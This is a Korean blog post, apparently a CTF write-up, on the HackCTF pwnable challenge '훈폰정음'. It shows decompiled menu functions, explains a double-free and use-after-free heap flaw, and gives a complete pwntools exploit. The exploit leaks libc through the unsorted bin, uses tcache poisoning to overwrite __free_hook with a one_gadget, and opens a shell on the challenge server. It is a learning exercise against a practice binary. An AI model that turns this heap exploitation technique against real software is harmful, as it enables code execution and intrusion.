HackCTF - 훈폰정음

2021. 12. 5. 11:25Pwnable

main함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  alarm(0x3Cu);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts(asc_11C0);
  while ( 1 )
  {
    menu();
    switch ( (unsigned int)off_1214 )
    {
      case 1u:
        add();
        break;
      case 2u:
        edit();
        break;
      case 3u:
        delete();
        break;
      case 4u:
        check();
        break;
      case 5u:
        exit(0);
        return;
      default:
        puts(&byte_11FB);
        break;
    }
  }
}

add함수

int add()
{
  int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  puts(&byte_FF6);
  result = smooth();
  v1 = result;
  while ( v1 >= 0 && v1 <= 6 )
  {
    if ( table[v1] )
      return puts(&byte_1018);
    puts(&byte_1042);
    size[v1] = smooth();
    if ( (size[v1] & 0x80000000) == 0 && (signed int)size[v1] <= 1024 )
    {
      table[v1] = malloc((signed int)size[v1]);
      if ( !table[v1] )
        return puts(&byte_107F);
      puts(&byte_1098);
      return get_read((void *)table[v1], size[v1]);
    }
    result = puts(&byte_1060);
  }
  return result;
}

delete 함수

int delete()
{
  int result; // eax
  int v1; // eax
  signed int v2; // [rsp+Ch] [rbp-4h]

  puts(&byte_FF6);
  result = smooth();
  v2 = result;
  while ( v2 >= 0 && v2 <= 6 )
  {
    if ( !table[v2] )
      return puts(&byte_1138);
    v1 = count--;
    if ( v1 )
    {
      free((void *)table[v2]);
      return puts(&byte_1157);
    }
    result = puts(&byte_1168);
  }
  return result;
}

adit 함수

int edit()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]

  puts(&byte_FF6);
  result = smooth();
  v1 = result;
  if ( result >= 0 && result <= 6 )
  {
    if ( table[result] )
    {
      puts(&byte_10D8);
      if ( (unsigned int)get_read((void *)table[v1], size[v1]) )
        result = puts(&byte_1100);
      else
        result = puts(&byte_1119);
    }
    else
    {
      result = puts(&byte_10B8);
    }
  }
  return result;
}

check 함수

int check()
{
  int result; // eax

  puts(&byte_FF6);
  result = smooth();
  if ( result >= 0 && result <= 6 )
  {
    if ( table[result] )
      result = printf(&byte_119C, table[result]);
    else
      result = puts(&byte_1138);
  }
  return result;
}

위 함수들을 확인해보면 일단 전형적인 heap문제의 구조를 띄고 있다.

malloc, free, edit, show etc...

해당 문제는 처음 접한 tchche문제인데 tcache가 어떻게 돌아가는 메모리 분석을 통해서 조금 상세히 공부할 수 있었다.

해당 문제에서 주의깊게 본 부분은 delete함수였다.

free후 초기화를 진행해주지 않고, 무한하게 free가 가능하므로 이를 이용해서

tcache 를 모두 채운 후 unsortedbin으로 free되게 만들어서 libc_leak을 진행했다.
그리고 malloc_free <-- one_shot로 덮어서 ex를 진행했다.

from pwn import *

#r = process("./hunpwn", env={"LD_PRELOAD":"./libc-2.27.so"})
r = remote("ctf.j0n9hyun.xyz", 3041)
e = ELF("./hunpwn")
l = ELF("./libc-2.27.so")
context.log_level = "debug"

__malloc_hook_offset = l.sym['__malloc_hook']
__free_hook_offset = l.sym['__free_hook']
one_shot_offset = [0x4f2c5, 0x4f322, 0x10a38c]

log.info("__malloc_hook_offset = " + hex(__malloc_hook_offset))
log.info("__free_hook_offset = " + hex(__free_hook_offset))
log.info("one_shot_offset = " + str(one_shot_offset))

def add(index, size, data) :
    r.recvuntil(">> ")
    r.sendline("1")
    r.recvuntil(":\n")
    r.sendline(str(index))
    r.recvuntil(":\n")
    r.sendline(str(size))
    r.recvuntil(":\n")
    r.sendline(data)

def edit(index, data) :
    r.recvuntil(">> ")
    r.sendline("2")
    r.recvuntil(":\n")
    r.sendline(str(index))
    r.recvuntil(":\n")
    r.sendline(str(data))

def delete(index) :
    r.recvuntil(">> ")
    r.sendline("3")
    r.recvuntil(":\n")
    r.sendline(str(index))

def check(index) :
    r.recvuntil(">> ")
    r.sendline("4")
    r.recvuntil(":\n")
    r.sendline(str(index))

add(0, 0x400, "AAAA")
add(1, 0x80, "BBBB")

for i in range(8) :
    delete(0)

check(0)

#libc_leak
r.recvuntil(":")
__malloc_hook_add = u64(r.recv(6).ljust(8, "\x00"))
libc_base = __malloc_hook_add - __malloc_hook_offset - 0x70
one_gadget = libc_base + one_shot_offset[1]
__free_hook_add = libc_base + __free_hook_offset

log.info("__malloc_hook_add = " + hex(__malloc_hook_add))
log.info("libc_base = " + hex(libc_base))
log.info("one_gadget = " + hex(one_gadget))
log.info("__free_hook_add = " + hex(__free_hook_add))

#free_hook <-- one_shot
add(2, 0x80, "CCCC")
delete(2)
edit(2, p64(__free_hook_add))

add(3, 0x80, "DDDD")
add(4, 0x80, p64(one_gadget))

#excute free_hook
add(5, 0x80, "free_it")
delete(5)

r.interactive()

코드는 위와 같다.

 

 

 

heap익스에 대해서 점점 더 익숙해져가고 있는 것 같다.

'Pwnable' 카테고리의 다른 글

dreamhack.io - string  (0) 2022.02.03
pwnable.kr - echo1  (0) 2021.10.21
HackCTF - Unexploitable #4  (0) 2021.10.15
dreamhack.io - iofile_aw  (0) 2021.10.06
pwnable.xyz - SUS  (0) 2021.09.30